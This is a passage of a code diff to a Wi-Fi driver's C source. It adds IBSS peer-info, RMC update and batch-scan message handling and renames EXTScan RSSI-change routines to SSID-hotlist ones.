eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + pwdiUpdateInd = (WDI_RmcUpdateIndParams *)pEventData->pEventData; + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_RMC_UPDATE_IND, + sizeof(tHalRmcUpdateIndParams), + &pSendBuffer, &usDataOffset, &usSendSize))|| + ( usSendSize < (usDataOffset + + sizeof(tHalRmcUpdateIndParams) ))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in RMC Update Indication %p ", + pEventData); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + pUpdateInd = (tHalRmcUpdateInd *)pSendBuffer; + + pUpdateInd->rulerIndParams.indication = pwdiUpdateInd->indication; + pUpdateInd->rulerIndParams.role = pwdiUpdateInd->role; + + wpalMemoryCopy(pUpdateInd->rulerIndParams.mcastTransmitter, + pwdiUpdateInd->mcastTransmitter, WDI_MAC_ADDR_LEN); + wpalMemoryCopy(pUpdateInd->rulerIndParams.mcastGroup, + pwdiUpdateInd->mcastGroup, WDI_MAC_ADDR_LEN); + wpalMemoryCopy(pUpdateInd->rulerIndParams.mcastRuler, + pwdiUpdateInd->mcastRuler, WDI_MAC_ADDR_LEN); + /* Zero out parameters not needed for this command */ + wpalMemoryZero(pUpdateInd->rulerIndParams.ruler, + WDI_MAC_ADDR_LEN * HAL_NUM_MAX_RULERS); + + + /*------------------------------------------------------------------------- + Send Update Indication to HAL + -------------------------------------------------------------------------*/ + pWDICtx->wdiReqStatusCB = pwdiUpdateInd->wdiReqStatusCB; + pWDICtx->pReqStatusUserData = pwdiUpdateInd->pUserData; + + wdiStatus = WDI_SendIndication(pWDICtx, pSendBuffer, usSendSize); + + return (wdiStatus != WDI_STATUS_SUCCESS) ? + wdiStatus : WDI_STATUS_SUCCESS_SYNC; + +} /* WDI_ProcessRMCUpdateInd */ + +/** + @brief Process peer info req + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_IbssPeerInfoReq +( + WDI_IbssPeerInfoReqType* wdiPeerInfoReqParams, + WDI_IbssPeerInfoReqCb wdiIbssPeerInfoReqCb, + void* pUserData +) +{ + + WDI_EventInfoType wdiEventData; + + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + /*------------------------------------------------------------------------ + Fill in Event data and post to the Main FSM + ------------------------------------------------------------------------*/ + wdiEventData.wdiRequest = WDI_HAL_IBSS_PEER_INFO_REQ; + wdiEventData.pEventData = wdiPeerInfoReqParams; + wdiEventData.uEventDataSize = sizeof(WDI_IbssPeerInfoReqType); + wdiEventData.pCBfnc = wdiIbssPeerInfoReqCb; + wdiEventData.pUserData = pUserData; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} + +/** + @brief Process peer info req + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessIbssPeerInfoReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_Status wdiStatus; + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + WDI_IbssPeerInfoReqType *pwdiInfoReq = NULL; + tHalIbssPeerInfoReq *pPeerInfoReq; + WDI_StaStruct* pSTATable = (WDI_StaStruct*) pWDICtx->staTable; + + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s", __func__); + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pEventData ) || ( NULL == pEventData->pEventData )) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + pwdiInfoReq = (WDI_IbssPeerInfoReqType *)pEventData->pEventData; + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_HAL_IBSS_PEER_INFO_REQ, + sizeof(tHalIbssPeerInfoReqParams), + &pSendBuffer, &usDataOffset, &usSendSize))|| + ( usSendSize < (usDataOffset + + sizeof(tHalIbssPeerInfoReqParams) ))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in IBSS Peer Info Req %p ", + pEventData); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + pPeerInfoReq = (tHalIbssPeerInfoReq *)pSendBuffer; + if (VOS_FALSE == pwdiInfoReq->wdiAllPeerInfoReqd) + { + if (pSTATable[pwdiInfoReq->wdiStaIdx].valid) + { + pPeerInfoReq->ibssPeerInfoReqParams.bssIdx = + pSTATable[pwdiInfoReq->wdiStaIdx].bssIdx; + } + else + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to find BSSIDX for STAIDX %d ", + pwdiInfoReq->wdiStaIdx); + return WDI_STATUS_E_FAILURE; + } + } + else + pPeerInfoReq->ibssPeerInfoReqParams.bssIdx = 0; + + pPeerInfoReq->ibssPeerInfoReqParams.staIdx = pwdiInfoReq->wdiStaIdx; + pPeerInfoReq->ibssPeerInfoReqParams.allPeerInfoReqd = pwdiInfoReq->wdiAllPeerInfoReqd; + + pWDICtx->pReqStatusUserData = pEventData->pUserData; + pWDICtx->pfncRspCB = pEventData->pCBfnc; + + /*------------------------------------------------------------------------- + Send IBSS Peer Info request to HAL + -------------------------------------------------------------------------*/ + wdiStatus = WDI_SendMsg(pWDICtx, pSendBuffer, + usSendSize, pWDICtx->pfncRspCB, + pWDICtx->pReqStatusUserData, + WDI_HAL_IBSS_PEER_INFO_RSP); + return wdiStatus; +} + +/** + @brief Process peer info resp + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessIbssPeerInfoRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_IbssPeerInfoReqCb wdiPeerInfoCb = NULL; + tHalIbssPeerParams *pHalPeerInfoParams; + WDI_IbssPeerInfoRspParams wdiPeerInfoRspParams; + wpt_uint32 allocSize=0; + WDI_IbssPeerInfoParams *pPeerInfoParams = NULL; + wpt_uint8 wdiCount=0; + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + wdiPeerInfoCb = (WDI_IbssPeerInfoReqCb)pWDICtx->pfncRspCB; + + /*------------------------------------------------------------------------- + Extract response and send it to UMAC + -------------------------------------------------------------------------*/ + pHalPeerInfoParams = + ((tHalIbssPeerInfoRspParams *)pEventData->pEventData)->ibssPeerParams; + wdiPeerInfoRspParams.wdiStatus = + WDI_HAL_2_WDI_STATUS(((tHalIbssPeerInfoRspParams *)pEventData->pEventData)->status); + wdiPeerInfoRspParams.wdiNumPeers = + ((tHalIbssPeerInfoRspParams *)pEventData->pEventData)->numOfPeers; + + if (!wdiPeerInfoRspParams.wdiNumPeers) { + wdiPeerInfoRspParams.wdiPeerInfoParams = NULL; + goto error; + } + if (wdiPeerInfoRspParams.wdiNumPeers >= + WDI_MAX_IBSS_PEER_SUPPORED_STAS) { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "Number of stations %d exceed max supported stations %d set max", + wdiPeerInfoRspParams.wdiNumPeers, + WDI_MAX_IBSS_PEER_SUPPORED_STAS); + wdiPeerInfoRspParams.wdiNumPeers = + WDI_MAX_IBSS_PEER_SUPPORED_STAS - 1; + } + /* Size of peer info data received from DAL */ + allocSize = (sizeof(WDI_IbssPeerInfoParams) * (wdiPeerInfoRspParams.wdiNumPeers)); + + pPeerInfoParams = (WDI_IbssPeerInfoParams*)wpalMemoryAllocate(allocSize); + + if (NULL == pPeerInfoParams) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "Failed to allocate memory in ibss peer info response %p %p %p ", + pWDICtx, pEventData, pEventData->pEventData); + wdiPeerInfoRspParams.wdiPeerInfoParams = NULL; + goto error; + } + + for (wdiCount = 0; wdiCount < wdiPeerInfoRspParams.wdiNumPeers; wdiCount++) + { + tHalIbssPeerParams *pHalTemp = &pHalPeerInfoParams[wdiCount]; + WDI_IbssPeerInfoParams *pWdiTemp = &pPeerInfoParams[wdiCount]; + pWdiTemp->wdiStaIdx = pHalTemp->staIdx; + pWdiTemp->wdiRssi = pHalTemp->rssi; + pWdiTemp->wdiMcsIndex = pHalTemp->mcsIndex; + pWdiTemp->wdiTxRate = pHalTemp->txRate; + pWdiTemp->wdiTxRateFlags = pHalTemp->txRateFlags; + } + + wdiPeerInfoRspParams.wdiPeerInfoParams = pPeerInfoParams; +error: + /*Notify UMAC*/ + if (wdiPeerInfoCb) + { + wdiPeerInfoCb(&wdiPeerInfoRspParams, pWDICtx->pRspCBUserData); + } + + /* Free the allocation */ + if(pPeerInfoParams) + vos_mem_free (pPeerInfoParams); + + return WDI_STATUS_SUCCESS; +} +#endif +#ifdef FEATURE_WLAN_BATCH_SCAN + +/** + @brief Process stop batch indication from WDA + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessStopBatchScanInd +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + WDI_Status wdiStatus; + tHalBatchScanStopIndParam *pHalInd = NULL; + WDI_StopBatchScanIndType *pWdiInd = NULL; + + + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s", __func__); + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + + if (( NULL == pEventData ) || ( NULL == pEventData->pEventData )) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + pWdiInd = (WDI_StopBatchScanIndType *)pEventData->pEventData; + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_STOP_BATCH_SCAN_IND, + sizeof(tHalBatchScanStopIndParam), + &pSendBuffer, &usDataOffset, &usSendSize))|| + ( usSendSize < (usDataOffset + sizeof(tHalBatchScanStopIndParam)))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in stop batch scan ind %p ", + pEventData); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + pHalInd = (tHalBatchScanStopIndParam *)(pSendBuffer + usDataOffset); + pHalInd->param = pWdiInd->param; + + pWDICtx->pReqStatusUserData = NULL; + pWDICtx->pfncRspCB = NULL; + /*------------------------------------------------------------------------- + Send Stop batch scan indication to HAL + -------------------------------------------------------------------------*/ + wdiStatus = WDI_SendIndication( pWDICtx, pSendBuffer, usSendSize); + return (wdiStatus != WDI_STATUS_SUCCESS) ? wdiStatus:WDI_STATUS_SUCCESS_SYNC; +} + +/** + @brief This API is called to trigger batch scan results from FW + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessTriggerBatchScanResultInd +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_Status wdiStatus; + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + tHalBatchScanTriggerResultParam *pHalInd = NULL; + WDI_TriggerBatchScanResultIndType *pWdiInd = NULL; + + + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s", __func__); + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + + if (( NULL == pEventData ) || ( NULL == pEventData->pEventData )) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + pWdiInd = (WDI_TriggerBatchScanResultIndType *)pEventData->pEventData; + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_TRIGGER_BATCH_SCAN_RESULT_IND, + sizeof(tHalBatchScanTriggerResultParam), + &pSendBuffer, &usDataOffset, &usSendSize))|| + ( usSendSize < (usDataOffset + sizeof(tHalBatchScanTriggerResultParam)))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in stop batch scan ind %p ", + pEventData); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + pHalInd = (tHalBatchScanTriggerResultParam *)(pSendBuffer + usDataOffset); + pHalInd->param = pWdiInd->param; + + pWDICtx->pReqStatusUserData = NULL; + pWDICtx->pfncRspCB = NULL; + /*------------------------------------------------------------------------- + Send trigger batch scan result indication to HAL + -------------------------------------------------------------------------*/ + wdiStatus = WDI_SendIndication( pWDICtx, pSendBuffer, usSendSize); + return (wdiStatus != WDI_STATUS_SUCCESS) ? wdiStatus:WDI_STATUS_SUCCESS_SYNC; +} + + +/** + @brief Process set batch scan response from FW + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessSetBatchScanRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_SetBatchScanCb wdiSetBatchScanCb; + WDI_SetBatchScanRspType *pSetBatchScanRsp; + + tHalBatchScanSetRspParam *pHalSetBatchScanRsp; + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + /*sanity check*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + wdiSetBatchScanCb = (WDI_SetBatchScanCb)pWDICtx->pfncRspCB; + if ( NULL == wdiSetBatchScanCb) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: call back function is NULL", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + pSetBatchScanRsp = wpalMemoryAllocate(sizeof(WDI_SetBatchScanRspType)); + + if (NULL == pSetBatchScanRsp) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "Failed to allocate memory in set batch scan response %p %p %p ", + pWDICtx, pEventData, pEventData->pEventData); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + /* extract response and send it to UMAC */ + pHalSetBatchScanRsp = (tHalBatchScanSetRspParam *)pEventData->pEventData; + + pSetBatchScanRsp->nScansToBatch = pHalSetBatchScanRsp->supportedMscan; + + /* Notify UMAC */ + wdiSetBatchScanCb(pSetBatchScanRsp, pWDICtx->pRspCBUserData); + + wpalMemoryFree(pSetBatchScanRsp); + + return WDI_STATUS_SUCCESS; +}/* WDI_ProcessSetBatchScanRsp */ + +/** + @brief Process batch scan result indication from FW + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessBatchScanResultInd +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData ) { void *pBatchScanResultInd; @@ -32662,7 +34126,7 @@ WDI_ProcessEXTScanBssidHotListResultInd } /* End of WDI_ProcessEXTScanBssidHotListResultInd */ /** - @brief Process EXTScan Significant RSSI Result Indication indication from FW + @brief Process EXTScan SSID Hotlist Result Indication indication from FW @param pWDICtx: pointer to the WLAN DAL context pEventData: pointer to the event information structure @@ -32671,7 +34135,7 @@ WDI_ProcessEXTScanBssidHotListResultInd @return Result of the function call */ WDI_Status -WDI_ProcessEXTScanSignfRssiResultInd +WDI_ProcessEXTScanSsidHotListResultInd ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData @@ -32694,7 +34158,7 @@ WDI_ProcessEXTScanSignfRssiResultInd } /* Fill in the indication parameters */ - wdiInd.wdiIndicationType = WDI_EXTSCAN_SIGN_RSSI_RESULT_IND; + wdiInd.wdiIndicationType = WDI_EXTSCAN_SSID_HOTLIST_RESULT_IND; /* extract response and send it to UMAC */ wdiInd.wdiIndicationData.pEXTScanIndData = (void *)pEventData->pEventData; @@ -32712,7 +34176,8 @@ WDI_ProcessEXTScanSignfRssiResultInd return WDI_STATUS_E_FAILURE; } return WDI_STATUS_SUCCESS; -} /* End of WDI_ProcessEXTScanSignfRssiResultInd */ +} /* End of WDI_ProcessEXTScanSsidHotListResultInd */ + /** @brief WDI_EXTScanGetCapabilitiesReq @@ -33202,11 +34667,14 @@ WDI_ProcessEXTScanStartReq pHalExtScanStartReqParams->basePeriod = pwdiEXTScanStartReqParams->basePeriod; pHalExtScanStartReqParams->maxApPerScan = pwdiEXTScanStartReqParams->maxAPperScan; - pHalExtScanStartReqParams->reportThreshold = - pwdiEXTScanStartReqParams->reportThreshold; + pHalExtScanStartReqParams->reportThresholdPercent = + pwdiEXTScanStartReqParams->reportThresholdPercent; + pHalExtScanStartReqParams->reportThresholdNumScans = + pwdiEXTScanStartReqParams->reportThresholdNumScans; pHalExtScanStartReqParams->requestId = pwdiEXTScanStartReqParams->requestId; pHalExtScanStartReqParams->sessionId = pwdiEXTScanStartReqParams->sessionId; pHalExtScanStartReqParams->numBuckets = pwdiEXTScanStartReqParams->numBuckets; + pHalExtScanStartReqParams->homeAwayTime = pwdiEXTScanStartReqParams->homeAwayTime; for( i = 0; i < WDI_WLAN_EXTSCAN_MAX_BUCKETS ; i++ ) { @@ -33218,6 +34686,12 @@ WDI_ProcessEXTScanStartReq pwdiEXTScanStartReqParams->buckets[i].period; pHalExtScanStartReqParams->bucketData[i].reportEvents = pwdiEXTScanStartReqParams->buckets[i].reportEvents; + pHalExtScanStartReqParams->bucketData[i].max_period = + pwdiEXTScanStartReqParams->buckets[i].max_period; + pHalExtScanStartReqParams->bucketData[i].exponent = + pwdiEXTScanStartReqParams->buckets[i].exponent; + pHalExtScanStartReqParams->bucketData[i].step_count = + pwdiEXTScanStartReqParams->buckets[i].step_count; pHalExtScanStartReqParams->bucketData[i].numChannels = pwdiEXTScanStartReqParams->buckets[i].numChannels; @@ -33235,25 +34709,32 @@ WDI_ProcessEXTScanStartReq VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, - " basePeriod %u maxApPerScan %u reportThreshold %u requestId %u" - " sessionId %u numBuckets%u ", + " basePeriod %u maxApPerScan %u reportThresholdPercent %u" + "reportThresholdNumScans %u requestId %u" + " sessionId %u numBuckets%u homeAwayTime %u", pHalExtScanStartReqParams->basePeriod, pHalExtScanStartReqParams->maxApPerScan, - pHalExtScanStartReqParams->reportThreshold, + pHalExtScanStartReqParams->reportThresholdPercent, + pHalExtScanStartReqParams->reportThresholdNumScans, pHalExtScanStartReqParams->requestId, pHalExtScanStartReqParams->sessionId, - pHalExtScanStartReqParams->numBuckets); + pHalExtScanStartReqParams->numBuckets, + pHalExtScanStartReqParams->homeAwayTime); for( i = 0; i < pHalExtScanStartReqParams->numBuckets ; i++ ) { VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO , " %d) bucketId %u channelBand %u period %u " - " reportEvents %u numChannels %u ",i, + " reportEvents %u numChannels %u " + "max_period %u exponent %u step_count %u",i, pHalExtScanStartReqParams->bucketData[i].bucketId, pHalExtScanStartReqParams->bucketData[i].channelBand, pHalExtScanStartReqParams->bucketData[i].period, pHalExtScanStartReqParams->bucketData[i].reportEvents, - pHalExtScanStartReqParams->bucketData[i].numChannels); + pHalExtScanStartReqParams->bucketData[i].numChannels, + pHalExtScanStartReqParams->bucketData[i].max_period, + pHalExtScanStartReqParams->bucketData[i].exponent, + pHalExtScanStartReqParams->bucketData[i].step_count); for( j = 0; j< pHalExtScanStartReqParams->bucketData[i].numChannels; j++) { @@ -33386,8 +34867,11 @@ WDI_ProcessEXTScanSetBSSIDHotlistReq pHalBssidHotlistSetReqParams->sessionId = pwdiEXTScanSetBSSIDHotlistReqParams->sessionId; - pHalBssidHotlistSetReqParams->numAp = - pwdiEXTScanSetBSSIDHotlistReqParams->numAp; + pHalBssidHotlistSetReqParams->lostBssidSampleSize = + pwdiEXTScanSetBSSIDHotlistReqParams->lostBssidSampleSize; + + pHalBssidHotlistSetReqParams->numBssid = + pwdiEXTScanSetBSSIDHotlistReqParams->numBssid; for( i = 0; i < WLAN_HAL_EXT_SCAN_MAX_HOTLIST_APS; i++){ @@ -33401,26 +34885,23 @@ WDI_ProcessEXTScanSetBSSIDHotlistReq pHalBssidHotlistSetReqParams->ap[i].highRssiThreshold = pwdiEXTScanSetBSSIDHotlistReqParams->ap[i].high; - pHalBssidHotlistSetReqParams->ap[i].channel = - pwdiEXTScanSetBSSIDHotlistReqParams->ap[i].channel; - } VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, - "ReqID %u sessionId %u numAp %u ", + "ReqID %u sessionId %u numBssid %u lostBssidSampleSize: %u", pHalBssidHotlistSetReqParams->requestId, pHalBssidHotlistSetReqParams->sessionId, - pHalBssidHotlistSetReqParams->numAp); + pHalBssidHotlistSetReqParams->numBssid, + pHalBssidHotlistSetReqParams->lostBssidSampleSize); - for( i = 0; i < pHalBssidHotlistSetReqParams->numAp; i++){ + for( i = 0; i < pHalBssidHotlistSetReqParams->numBssid; i++){ VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, - "%s %d %d) BSSID: %pM lowRssiThreshold %d highRssiThreshold %d Channel %u ", + "%s %d %d) BSSID: %pM lowRssiThreshold %d highRssiThreshold %d", __func__, __LINE__, i, pHalBssidHotlistSetReqParams->ap[i].bssid, pHalBssidHotlistSetReqParams->ap[i].lowRssiThreshold, - pHalBssidHotlistSetReqParams->ap[i].highRssiThreshold, - pHalBssidHotlistSetReqParams->ap[i].channel); + pHalBssidHotlistSetReqParams->ap[i].highRssiThreshold); } @@ -33551,26 +35032,27 @@ WDI_ProcessEXTScanResetBSSIDHotlistReq WDI_EXTSCAN_RESET_HOTLIST_BSSID_RSP); } + /** - @brief WDI_EXTScanSetSignfRSSIChangeReq + @brief WDI_EXTScanSetSSIDHotlistReq - @param WDI_EXTScanSetSignfRSSIChangeReqParams: Req parameter for the FW - WDI_EXTScanSetSignfRSSIChangeRspCb: callback for passing back the response + @param WDI_EXTScanSetSSIDHotlistReqParams: Req parameter for the FW + WDI_EXTScanSetSSIDHotlistRspCb: callback for passing back the response of the Req operation received from the device pUserData: user data will be passed back with the callback @return SUCCESS or FAIL */ WDI_Status -WDI_EXTScanSetSignfRSSIChangeReq( - WDI_EXTScanSetSignfRSSIChangeReqParams* pwdiEXTScanSetSignfRSSIChangeReqParams, - WDI_EXTScanSetSignfRSSIChangeRspCb wdiEXTScanSetSignfRSSIChangeRspCb, - void* pUserData) +WDI_EXTScanSetSSIDHotlistReq( + WDI_EXTScanSetSSIDHotlistReqParams* pwdiEXTScanSetSSIDHotlistReqParams, + WDI_EXTScanSetSSIDHotlistRspCb wdiEXTScanSetSSIDHotlistRspCb, + void* pUserData) { - WDI_EventInfoType wdiEventData; + WDI_EventInfoType wdiEventData; VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, - "%s: %d ",__func__, __LINE__); + "%s: %d Enter ",__func__, __LINE__); /*------------------------------------------------------------------------ Sanity Check ------------------------------------------------------------------------*/ @@ -33582,19 +35064,18 @@ WDI_EXTScanSetSignfRSSIChangeReq( return WDI_STATUS_E_NOT_ALLOWED; } - wdiEventData.wdiRequest = WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ; - wdiEventData.pEventData = pwdiEXTScanSetSignfRSSIChangeReqParams; - wdiEventData.uEventDataSize = - sizeof(*pwdiEXTScanSetSignfRSSIChangeReqParams); - wdiEventData.pCBfnc = wdiEXTScanSetSignfRSSIChangeRspCb; + wdiEventData.wdiRequest = WDI_EXTSCAN_SET_SSID_HOTLIST_REQ; + wdiEventData.pEventData = pwdiEXTScanSetSSIDHotlistReqParams; + wdiEventData.uEventDataSize = sizeof(*pwdiEXTScanSetSSIDHotlistReqParams); + wdiEventData.pCBfnc = wdiEXTScanSetSSIDHotlistRspCb; wdiEventData.pUserData = pUserData; return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); } /** - @brief WDI_ProcessEXTScanSetSignifRSSIChangeReq - - Extended Scan set Significant RSSI change Request to FW + @brief WDI_ProcessEXTScanSetSSIDHotlistReq - + Extended Scan Set SSSID Hotlist Request to FW @param pWDICtx : wdi context pEventData : indication data @@ -33603,19 +35084,18 @@ WDI_EXTScanSetSignfRSSIChangeReq( @return none */ WDI_Status -WDI_ProcessEXTScanSetSignifRSSIChangeReq +WDI_ProcessEXTScanSetSSIDHotlistReq ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ) { - WDI_EXTScanSetSignfRSSIChangeReqParams* - pwdiEXTScanSetSignfRSSIChangeReqParams; - WDI_EXTScanSetSignfRSSIChangeRspCb wdiEXTScanSetSignfRSSIChangeRspCb; + WDI_EXTScanSetSSIDHotlistReqParams* pwdiEXTScanSetSSIDHotlistReqParams; + WDI_EXTScanSetSSIDHotlistRspCb wdiEXTScanSetSSIDHotlistRspCb; wpt_uint8* pSendBuffer = NULL; wpt_uint16 usSendSize = 0; wpt_uint16 usDataOffset = 0; - tpHalSigRssiSetReq pHalSigRssiSetReqParams; + tpHalSsidHotlistSetReq pHalSsidHotlistSetReqParams; int i; VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, @@ -33630,10 +35110,10 @@ WDI_ProcessEXTScanSetSignifRSSIChangeReq return WDI_STATUS_E_FAILURE; } - pwdiEXTScanSetSignfRSSIChangeReqParams = - (WDI_EXTScanSetSignfRSSIChangeReqParams *)pEventData->pEventData; - wdiEXTScanSetSignfRSSIChangeRspCb = - (WDI_EXTScanSetSignfRSSIChangeRspCb)pEventData->pCBfnc; + pwdiEXTScanSetSSIDHotlistReqParams = + (WDI_EXTScanSetSSIDHotlistReqParams *)pEventData->pEventData; + wdiEXTScanSetSSIDHotlistRspCb = + (WDI_EXTScanSetSSIDHotlistRspCb)pEventData->pCBfnc; /*----------------------------------------------------------------------- Get message buffer @@ -33641,75 +35121,67 @@ WDI_ProcessEXTScanSetSignifRSSIChangeReq -----------------------------------------------------------------------*/ if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, - WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ, - sizeof(tHalSigRssiSetReq), + WDI_EXTSCAN_SET_SSID_HOTLIST_REQ, + sizeof(tHalSsidHotlistSetReq), &pSendBuffer, &usDataOffset, &usSendSize))|| - ( usSendSize < (usDataOffset + sizeof(tHalSigRssiSetReq) ))) + ( usSendSize < (usDataOffset + sizeof(tHalSsidHotlistSetReq) ))) { WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, "Unable to get send buffer in %s %p %p %p", __func__, - pEventData, pwdiEXTScanSetSignfRSSIChangeReqParams, - wdiEXTScanSetSignfRSSIChangeRspCb); + pEventData, pwdiEXTScanSetSSIDHotlistReqParams, + wdiEXTScanSetSSIDHotlistRspCb); WDI_ASSERT(0); return WDI_STATUS_E_FAILURE; } + pHalSsidHotlistSetReqParams = + 